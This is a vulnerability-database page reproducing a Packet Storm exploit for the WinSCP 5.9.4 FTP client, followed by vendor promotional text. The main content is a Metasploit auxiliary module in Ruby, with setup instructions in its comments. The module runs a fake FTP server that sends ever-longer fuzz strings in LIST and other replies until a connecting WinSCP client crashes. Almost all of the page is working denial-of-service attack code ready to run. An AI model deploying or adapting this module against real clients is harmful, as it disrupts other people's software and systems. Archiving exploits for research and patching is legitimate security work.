Lucene search
K

WinSCP 5.9.4 LIST Denial Of Service

🗓️ 17 Apr 2017 00:00:00Reported by M. IbrahimType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 50 Views

WinSCP 5.9.4 - LIST Command Denial of Servic

Code
`##  
# Exploit Title: WinSCP 5.9.4 - (LIST) Command Denial of service (Crush application)  
  
# Date: [4-4-2017] mm.dd.yy  
# Exploit Author: [M.Ibrahim] [email protected]  
# E-Mail: vulnbug <at> gmail.com  
# Vendor Home Page: https://winscp.net/eng/index.php  
# Vendor download link: https://winscp.net/download/WinSCP-5.9.4-Setup.exe  
# Version: [WinSCP 5.9.4]   
# Tested on: windows 7 x86  
##  
#put the file winSCP 5.9.4.rb in metasploit framework folder name exploit then write this command to refresh all module in metasploit ==> reload_all  
#then run -j   
#now fake ftp server is ready   
#try to connect to this fake ftp server with winscp client and it will crush  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Exploit::Remote::TcpServer  
  
def initialize()  
super(  
'Name' => 'WinSCP CRUSHER',  
'Description' => %q{  
This module will Crush WinSCP FTP client   
},  
'Author' => [ 'M.Ibrahim <vulnbug[at]gmail.com>' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.google.com' ],  
]  
)  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),  
OptString.new('FUZZCMDS', [ true, "The FTP client server Command to crush.", "LIST", nil, /(?:[A-Z]+,?)+/ ]),  
OptInt.new('STARTSIZE', [ true, "Crush string startsize.",2000]),  
OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]),  
OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]),  
OptBool.new('RESET', [ true, "Reset fuzzing values after client disconnects with QUIT cmd.",true]),  
OptString.new('WELCOME', [ true, "Fake FTP Server welcome message.","FTP WinSCP server CRusher"]),  
OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's .",false]),  
OptBool.new('ERROR', [ true, "Reply with error codes only",false]),  
OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true])  
], self.class)  
end  
  
  
  
def support_ipv6?  
false  
end  
  
def setup  
super  
@state = {}  
end  
  
def run  
@fuzzsize=datastore['STARTSIZE'].to_i  
exploit()  
end  
  
  
def on_client_connect(c)  
@state[c] = {  
:name => "#{c.peerhost}:#{c.peerport}",  
:ip => c.peerhost,  
:port => c.peerport,  
:user => nil,  
:pass => nil  
}  
  
print_status("Client connected : " + c.peerhost)  
active_data_port_for_client(c, 20)  
send_response(c,"","WELCOME",220," "+datastore['WELCOME'])  
  
end  
  
def on_client_close(c)  
@state.delete(c)  
end  
  
  
def passive_data_port_for_client(c)  
@state[c][:mode] = :passive  
if(not @state[c][:passive_sock])  
s = Rex::Socket::TcpServer.create(  
'LocalHost' => '0.0.0.0',  
'LocalPort' => 0,  
'Context' => { 'Msf' => framework, 'MsfExploit' => self }  
)  
dport = s.getsockname[2]  
@state[c][:passive_sock] = s  
@state[c][:passive_port] = dport  
  
end  
@state[c][:passive_port]  
end  
  
  
def active_data_port_for_client(c,port)  
@state[c][:mode] = :active  
connector = Proc.new {  
host = c.peerhost.dup  
sock = Rex::Socket::Tcp.create(  
'PeerHost' => host,  
'PeerPort' => port,  
'Context' => { 'Msf' => framework, 'MsfExploit' => self }  
)  
}  
@state[c][:active_connector] = connector  
@state[c][:active_port] = port  
  
end  
  
  
def establish_data_connection(c)  
  
begin  
Timeout.timeout(20) do  
if(@state[c][:mode] == :active)  
return @state[c][:active_connector].call()  
end  
if(@state[c][:mode] == :passive)  
return @state[c][:passive_sock].accept  
end  
end  
  
rescue ::Exception => e  
print_error("Failed to establish data connection: #{e.class} #{e}")  
end  
nil  
end  
  
  
def on_client_data(c)  
  
data = c.get_once  
return if not data  
  
cmd,arg = data.strip.split(/\s+/, 2)  
arg ||= ""  
  
return if not cmd  
  
case cmd.upcase.strip  
  
when 'USER'  
@state[c][:user] = arg  
send_response(c,arg,"USER",331," User name okay, need password")  
return  
  
when 'PASS'  
@state[c][:pass] = arg  
send_response(c,arg,"PASS",230,"-Password accepted.\r\n230 User logged in.")  
return  
  
when 'QUIT'  
if (datastore['RESET'])  
print_status("Resetting fuzz settings")  
@fuzzsize = datastore['STARTSIZE']  
@stepsize = datastore['STEPSIZE']  
end  
print_status("** Client disconnected **")  
send_response(c,arg,"QUIT",221," User logged out")  
return  
  
when 'SYST'  
send_response(c,arg,"SYST",215," UNIX Type: L8")  
return  
  
when 'TYPE'  
send_response(c,arg,"TYPE",200," Type set to #{arg}")  
return  
  
when 'CWD'  
send_response(c,arg,"CWD",250," CWD Command successful")  
return  
  
when 'PWD'  
send_response(c,arg,"PWD",257," \"/\" is current directory.")  
return  
  
when 'REST'  
send_response(c,arg,"REST",200," OK")  
return  
  
when 'XPWD'  
send_response(c,arg,"PWD",257," \"/\" is current directory")  
return  
  
when 'SIZE'  
send_response(c,arg,"SIZE",213," 1")  
return  
  
when 'MDTM'  
send_response(c,arg,"MDTM",213," #{Time.now.strftime("%Y%m%d%H%M%S")}")  
return  
  
when 'CDUP'  
send_response(c,arg,"CDUP",257," \"/\" is current directory")  
return  
  
when 'PORT'  
port = arg.split(',')[4,2]  
if(not port and port.length == 2)  
c.put("500 Illegal PORT command.\r\n")  
return  
end  
port = port.map{|x| x.to_i}.pack('C*').unpack('n')[0]  
active_data_port_for_client(c, port)  
send_response(c,arg,"PORT",200," PORT command successful")  
return  
  
when 'PASV'  
  
daddr = Rex::Socket.source_address(c.peerhost)  
dport = passive_data_port_for_client(c)  
@state[c][:daddr] = daddr  
@state[c][:dport] = dport  
pasv = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',')  
dofuzz = fuzz_this_cmd("PASV")  
code = 227  
if datastore['ERROR']  
code = 557  
end  
if (dofuzz==1)  
  
send_response(c,arg,"PASV",code," Entering Passive Mode (#{@fuzzdata},1,1,1,1,1)\r\n")  
incr_fuzzsize()  
else  
send_response(c,arg,"PASV",code," Entering Passive Mode (#{pasv})")  
end  
return  
  
when /^(LIST|NLST|LS)$/  
  
  
conn = establish_data_connection(c)  
if(not conn)  
c.put("425 Can't build data connection\r\n")  
return  
end  
  
code = 150  
if datastore['ERROR']  
code = 550  
end  
c.put("#{code} Here comes the directory listing.\r\n")  
code = 226  
if datastore['ERROR']  
code = 550  
end  
c.put("#{code} Directory send ok.\r\n")  
strfile = "passwords.txt"  
strfolder = "Secret files"  
dofuzz = fuzz_this_cmd("LIST")  
if (dofuzz==1)  
strfile = @fuzzdata + ".txt"  
strfolder = @fuzzdata  
paylen = @fuzzdata.length  
  
incr_fuzzsize()  
end  
  
dirlist = ""  
if datastore['EXTRALINE']  
extra = "\r\n"  
else  
extra = ""  
end  
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{strfolder}\r\n" + extra  
dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{strfile}\r\n" + extra  
conn.put("total 2\r\n"+dirlist)  
conn.close  
return  
  
when 'RETR'  
  
  
conn = establish_data_connection(c)  
if(not conn)  
c.put("425 Can't build data connection\r\n")  
return  
end  
print_status(" - Data connection set up")  
strcontent = "blahblahblah"  
dofuzz = fuzz_this_cmd("LIST")  
if (dofuzz==1)  
strcontent = @fuzzdata  
paylen = @fuzzdata.length  
  
incr_fuzzsize()  
end  
c.put("150 Opening BINARY mode data connection #{strcontent}\r\n")  
print_status(" - Sending data via data connection")  
conn.put(strcontent)  
c.put("226 Transfer complete\r\n")  
conn.close  
return  
  
when /^(STOR|MKD|REM|DEL|RMD)$/  
send_response(c,arg,cmd.upcase,500," Access denied")  
return  
  
when 'FEAT'  
send_response(c,arg,"FEAT","","211-Features:\r\n211 End")  
return  
  
when 'HELP'  
send_response(c,arg,"HELP",214," Syntax: #{arg} - (#{arg}-specific commands)")  
  
when 'SITE'  
send_response(c,arg,"SITE",200," OK")  
return  
  
when 'NOOP'  
send_response(c,arg,"NOOP",200," OK")  
return  
  
when 'ABOR'  
send_response(c,arg,"ABOR",225," Abor command successful")  
return  
  
when 'ACCT'  
send_response(c,arg,"ACCT",200," OK")  
return  
  
when 'RNFR'  
send_response(c,arg,"RNRF",350," File exists")  
return  
  
when 'RNTO'  
send_response(c,arg,"RNTO",350," File exists")  
return  
else  
send_response(c,arg,cmd.upcase,200," Command not understood")  
return  
end  
return  
end  
  
  
  
  
def fuzz_this_cmd(cmd)  
@fuzzcommands = datastore['FUZZCMDS'].split(",")  
fuzzme = 0  
@fuzzcommands.each do |thiscmd|  
if ((cmd.upcase == thiscmd.upcase) || (thiscmd=="*")) && (fuzzme==0)  
fuzzme = 1  
end  
end  
if fuzzme==1  
  
if datastore['CYCLIC']  
@fuzzdata = Rex::Text.pattern_create(@fuzzsize)  
else  
@fuzzdata = "A" * @fuzzsize  
end  
end  
return fuzzme  
end  
  
def incr_fuzzsize  
@stepsize = datastore['STEPSIZE'].to_i  
@fuzzsize = @fuzzsize + @stepsize  
  
if (@fuzzsize > datastore['ENDSIZE'].to_i)  
@fuzzsize = datastore['ENDSIZE'].to_i  
end  
end  
  
  
  
def send_response(c,arg,cmd,code,msg)  
if arg.length > 40  
showarg = arg[0,40] + "..."  
else  
showarg = arg  
end  
if cmd.length > 40  
showcmd = cmd[0,40] + "..."  
else  
showcmd = cmd  
end  
  
dofuzz = fuzz_this_cmd(cmd)  
  
if (dofuzz==1) && (cmd.upcase != "PASV")  
paylen = @fuzzdata.length  
  
if datastore['ERROR']  
code = "550 "  
end  
if cmd=="FEAT"  
@fuzzdata = "211-Features:\r\n "+@fuzzdata+"\r\n211 End"  
end  
if cmd=="PWD"  
@fuzzdata = " \"/"+@fuzzdata+"\" is current directory"  
end  
cmsg = code.to_s + " " + @fuzzdata  
c.put("#{cmsg}\r\n")  
print_status("* Fuzz data sent")  
incr_fuzzsize()  
else  
  
cmsg = code.to_s + msg  
cmsg = cmsg.strip  
c.put("#{cmsg}\r\n")  
end  
return  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation